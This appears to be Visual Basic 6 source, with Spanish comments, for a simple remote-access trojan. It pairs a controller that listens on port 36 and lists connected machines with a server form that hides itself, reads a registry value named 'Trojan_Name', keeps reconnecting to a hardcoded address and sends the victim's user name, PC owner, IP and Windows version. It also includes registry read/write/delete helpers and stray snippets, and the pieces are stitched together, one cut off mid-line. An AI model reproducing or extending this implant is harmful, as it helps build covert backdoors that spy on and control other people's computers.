Option Explicit

Public TotalIndex As Integer
Public IndexAbir As Integer

Private Sub Cambiar_Nombre_Click()
On Error Resume Next
ListConexion.StartLabelEdit 'Lanzamos el edit label
End Sub

Private Sub Form_Load()
ListConexion.View = lvwReport 'Aplicamos al listview el estilo de columnas.
ListConexion.GridLines = True 'Aplicamos al listview las lines as separacion.
ListConexion.BorderStyle = ccNone 'Eliminamos el borde del listview.
ListConexion.Width = 7320
ListConexion.FullRowSelect = True

Call ListConexion.ColumnHeaders.Add(, , "Nombre", "1000,0631") 'Agregamos la clumna Nombre.
Call ListConexion.ColumnHeaders.Add(, , "IP/DNS", "2200,2522") 'Agregamos la clumna ip.
Call ListConexion.ColumnHeaders.Add(, , "Nick/PC", "1440,0002") 'Agregamos la clumna Nick/PC.
Call ListConexion.ColumnHeaders.Add(, , "S.O", "1600,7166") 'Agregamos la clumna Sistema Operativo.
Call ListConexion.ColumnHeaders.Add(, , "Version", "1000,0631") 'Agregamos la clumna Version.

WS(0).LocalPort = 36 'Asignamos a ws(0) el puerto 36.
WS(0).Listen 'Escuhamos el puerto asignado.
TotalIndex = 0
Timer1.Interval = 1
Opciones.Visible = False
ListConexion.LabelEdit = lvwManual
End Sub

Private Sub ListConexion_AfterLabelEdit(Cancel As Integer, NewString As String)
On Error Resume Next
Dim vIndex As Variant 'Declaracion
vIndex = Split(ListConexion.SelectedItem.Key, "|")
WS(vIndex(0)).SendData "CombiarNombre|" & NewString 'Enviamos paquete
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim vIndex As Variant
Dim i As Long

For i = 1 To ListConexion.ListItems.Count 'Creamos un bucle
vIndex = Split(ListConexion.ListItems(i).Key, "|")

If WS(vIndex(0)).State <> 7 Then 'Si no estamos conectado
ListConexion.ListItems.Remove (i) 'Elimnaos la conexion
End If

Next i 'Cerramos el bucle
End Sub

Private Sub ListConexion_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If ListConexion.SelectedItem.Selected = False Then Exit Sub 'Si no hay nada selecionado salimos de la funcion
If Button = 2 Then PopupMenu Opciones 'Lanzamos el menu
End Sub

Private Sub ws_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim data As String 'Declaracion
Dim vData As Variant 'Declaracion
Dim pr 'Declaracion

WS(index).GetData data

vData = Split(data, "|")
Select Case vData(0)

Case "Conexion" 'Cose de conexion
Set pr = ListConexion.ListItems.Add(, index & "|", vData(1)) 'Agreamos una nueva conexion a listview
pr.SubItems(1) = vData(2) & "/" & WS(index).RemoteHostIP
pr.SubItems(2) = vData(3) & "/" & vData(4)
pr.SubItems(3) = vData(5)
pr.SubItems(4) = vData(6)

End Select
End Sub

Private Sub ws_ConnectionRequest(index As Integer, ByVal requestID As Long)
On Error Resume Next
If index = 0 Then 'si index es 0
TotalIndex = 0 'Definimos la varible TotalIndex.
Else 'Si no
TotalIndex = TotalIndex + 1 'Definimos la varible TotalIndex.
End If 'Cerramos if
WS(index).Close 'Cerramos conexion
WS(index).Accept requestID 'Y aceptamos la conexion
Load WS(index + 1) 'Cargamos un nuevo index
WS(index + 1).LocalPort = 36 'y asignamos el puerto 36
IndexAbir = index + 1 'Definimos la varible IndexAbir.
WS(IndexAbir).Listen 'Escuhamos el puerto asignado.
End Sub

Public ip As String 'Declaration
Public port As Long 'Declaration
Public Server_Name As String 'Declaration
Public Version As String 'Declaration

Private Sub Form_Load()
Me.Visible = False 'dejamos invisibles el form.
Timer2.Enabled = False 'bloquemos el timer2.
Timer1.Interval = 1750 'ponemos en timer1 a 1750 intervalos.
Timer2.Interval = 1 'ponemos en timer2 a 1 intervalos.
ip = "127.0.0.1" 'Definimos la variable IP.
port = 36 'Definimos la variable Port.

If GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "Trojan_Name") = "" Then 'Si no existe la key Trojan_Name asignamos un nombre predeterminado.
Server_Name = "No Definido" 'Definimos varible.
Else 'Si no
Server_Name = GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "Trojan_Name") 'Leemos la key.
End If 'cerramos el if

Version = "v1.0" 'Definimos la variable Versión.
End Sub

Private Sub Timer1_Timer()
On Error Resume Next 'Si hay algún error salta a la siguiente línea.
If ws.State <> 7 Then 'Si estas descontado.
ws.Close 'Cerramos la conexión.
ws.Connect ip, port 'Y nos conectamos
Timer2.Enabled = True 'Desbloqueamos el timer2.
End If 'Cerramos el if
End Sub

Private Sub Timer2_Timer()
On Error Resume Next 'Si hay algún error salta a la siguiente línea.
If ws.State = 7 Then 'Si estas Conectado.
ws.SendData "Conexion|" & Server_Name & "|" & ws.LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version 'Enviamos el paquete de conexión.
Timer2.Enabled = False 'Bloque

Option Explicit

Public Carpetas_Registro As String
Public Keys_Registro As String
Public READ_Valor_Key As String
Type FILETIME
  dwLowDateTime As Long
  dwHighDateTime As Long
End Type
Global Const REG_SZ = 1
Global Const REG_BINARY = 3
Global Const HKEY_CLASSES_ROOT = &H80000000
Global Const HKEY_CURRENT_CONFIG = &H80000005
Global Const HKEY_CURRENT_USER = &H80000001
Global Const HKEY_DYN_DATA = &H80000006
Global Const HKEY_LOCAL_MACHINE = &H80000002
Global Const HKEY_USERS = &H80000003
Global Const ERROR_SUCCESS = 0&
Global Const KEY_ENUMERATE_SUB_KEYS = &H8
Global Const KEY_QUERY_VALUE = &H1
Public Declare Sub CopyMemory32 Lib "kernel32.dll" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Public Sub Reg_Crea_KeyConValor(hKey As Long, carpeta As String, Nombre_Key As String, contenido_key As String)
Dim res
RegOpenKey hKey, carpeta, res
RegSetValueEx res, Nombre_Key, 0, REG_SZ, ByVal contenido_key, Len(contenido_key)
RegCloseKey res
End Sub

Public Sub Reg_Borra_Key(hKey As Long, strPath As String, strValue As String)
Dim ret
RegOpenKey hKey, strPath, ret
RegDeleteValue ret, strValue
RegCloseKey ret
End Sub

Public Sub Reg_Abre_Carpeta(hKey As Long, nombre_folderkey As String)
Dim res
RegOpenKeyEx HKEY_CURRENT_USER, nombre_folderkey, 0, 0, res
End Sub
Public Sub Reg_Cierra_carpeta()
Dim res
RegCloseKey HKEY_CURRENT_USER
End Sub

Public Sub Reg_Lee_Keys(hKey As Long, ruta As String)

Dim valuename As String
    Dim valuelen As Long
    Dim datatype As Long
    Dim data(0 To 254) As Byte
    Dim datalen As Long
    Dim datastring As String

    Dim Index As Long
    Dim c As Long
    Dim retval As Long
    READ_Valor_Key = ""
    retval = RegOpenKeyEx(hKey, ruta, 0, KEY_QUERY_VALUE, hKey)
    If retval <> 0 Then
       
        'End
    End If
   
    Index = 0
    While retval = 0

        valuename = Space(255)
        valuelen = 255
        datalen = 255

        retval = RegEnumValue(hKey, Index, valuename, valuelen, 0, datatype, data(0), datalen)
        If retval = 0 Then
            valuename = Left(valuename, valuelen)
           
            READ_Valor_Key = READ_Valor_Key & "Key: " & valuename & vbCrLf
            Select Case datatype
            Case REG_SZ
                datastring = Space(datalen - 1)
                CopyMemory32 ByVal datastring, data(0), datalen - 1
               
               
                READ_Valor_Key = READ_Valor_Key & "      Valor: " & datastring & vbCrLf
            Case REG_BINARY
                Dim ttStr As String
                ttStr = ""
               
                For c = 0 To datalen - 1
                    datastring = Hex(data(c))
                    If Len(datastring) < 2 Then datastring = _
                        String(2 - Len(datastring), "0") & datastring
                   
                    ttStr = ttStr & datastring & " "
                Next c
               
            READ_Valor_Key = READ_Valor_Key & "      Valor: " & ttStr & vbCrLf
            Case Else
               
            End Select
        End If
        Index = Index + 1
    Wend
    retval = RegCloseKey(hKey)
End Sub

Public Sub Reg_Lee_carpetas(hKey As Long, carpeta As String)
Dim keyname As String
Dim keylen As Long
Dim ClassName As String
Dim classlen As Long
Dim lastwrite As FILETIME
Carpetas_Registro = ""
Dim Index As Long
Dim retval As Long
retval = RegOpenKeyEx(hKey, carpeta, 0, KEY_ENUMERATE_SUB_KEYS, hKey)
    If retval <> 0 Then
    End If
    Index = 0
    While retval = 0
      keyname = Space(255): ClassName = Space(255)
      keylen = 255: classlen = 255
      retval = RegEnumKeyEx(hKey, Index, keyname, keylen, ByVal 0, ClassName, classlen, lastwrite)
      If retval = 0 Then
        keyname = Left(keyname, keylen)
        ClassName = Left(ClassName, classlen)
        If carpeta = "" Then
            Carpetas_Registro = Carpetas_Registro & keyname & vbCrLf
        Else
            Carpetas_Registro = Carpetas_Registro & carpeta & "\" & keyname & vbCrLf
        End If
       End If
      Index = Index + 1
    Wend
    retval = RegCloseKey(hKey)
End Sub

Public Sub Reg_Leer_ValorKey(hKey As Long, Carpeta_Key As String, Nombre_Key As String)
Dim cadena As String
cadena = String(255, Chr(0))
Dim res As Long
RegOpenKey hKey, Carpeta_Key, res
RegQueryValueEx res, Nombre_Key, 0, REG_SZ, ByVal cadena, Len(cadena)


RegCloseKey res
End Sub

Public Sub Reg_Borra_Carpeta(hKey As String, del_carpeta As String)
RegDeleteKey hKey, del_carpeta
End Sub

Public Sub Reg_Crear_carpeta(hKey As Long, Crear_carpeta As String)
Dim res As Long
RegCreateKey hKey, Crear_carpeta, res

RegCloseKey res
End Sub

Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String)
    Dim lResult As Long
    Dim lValueType As Long
    Dim strBuf As String
    Dim lDataBufSize As Long
    Dim intZeroPos As Integer
   
    lResult = RegQueryValueEx(hKey, strValueName, 0&, lValueType, ByVal 0&, lDataBufSize)
    If lResult = ERROR_SUCCESS Then
        If lValueType = REG_SZ Then
            strBuf = String(lDataBufSize, " ")
            lResult = RegQueryValueEx(hKey, strValueName, 0&, 0&, ByVal strBuf, lDataBufSize)
            If lResult = ERROR_SUCCESS Then
                intZeroPos = InStr(strBuf, Chr$(0))
                If intZeroPos > 0 Then
                   RegQueryStringValue = Left$(strBuf, intZeroPos - 1)
                Else
                   RegQueryStringValue = strBuf
                End If
            End If
        End If
    End If
End Function

Public Function GetStringKey(ByVal hKey As Long, ByVal strPath As String, ByVal strValue As String) As String
    Dim keyhand&
    Dim datatype&
    Dim r
   
    r = RegOpenKey(hKey, strPath, keyhand&)
    GetStringKey = RegQueryStringValue(keyhand&, strValue)
    r = RegCloseKey(keyhand&)
End Function

Public Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Public Function winversion() As String 'Capture el system operatives
Dim osvi As OSVERSIONINFO
osvi.dwOSVersionInfoSize = Len(osvi)
GetVersionEx osvi
If osvi.dwPlatformId = 1 Then
If osvi.dwMinorVersion = 0 Then winversion = "Windows 95"
If osvi.dwMinorVersion = 10 Then winversion = "Wiondows 98"
ElseIf osvi.dwPlatformId = 2 Then
If osvi.dwMinorVersion = 0 Then
winversion = "Windows 2000"
Else
winversion = "Windows XP"
End If
End If
End Function

Public Function Usuario_Windows() As String ' Capture el user de windows.
On Error Resume Next
Dim sBuffer As String
Dim lSize As Long
Dim sUsuario As String

sBuffer = Space$(260)
lSize = Len(sBuffer)
Call GetUserName(sBuffer, lSize)
If lSize > 0 Then
sUsuario = Left$(sBuffer, lSize)
lSize = InStr(sUsuario, Chr$(0))
If lSize Then
sUsuario = Left$(sUsuario, lSize - 1)
End If
Else
sUsuario = ""
End If
Usuario_Windows = sUsuario
End Function
 
Public Function PC_Name() As String 'Capturamos el nombre del PC
PC_Name = GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", "RegisteredOwner")
End Function

winsock1(index).senddata "Paquete"

Dim vIndex As Variant 'Declaracion
vIndex = Split(ListConexion.SelectedItem.Key, "|")

winsock1(vIndex(0)).senddata "Paquete"

Private intMax As Long

Private Sub Form_Load()
   intMax = 0
   sckServer(intMax).LocalPort = 1001
   sckServer(intMax).Listen
End Sub

Private Sub sckServer_ConnectionRequest _
(Index As Integer, ByVal requestID As Long)
      intMax = intMax + 1
      Load sckServer(intMax)
      sckServer(intMax).LocalPort = 1001
      sckServer(intMax).Accept requestID
End Sub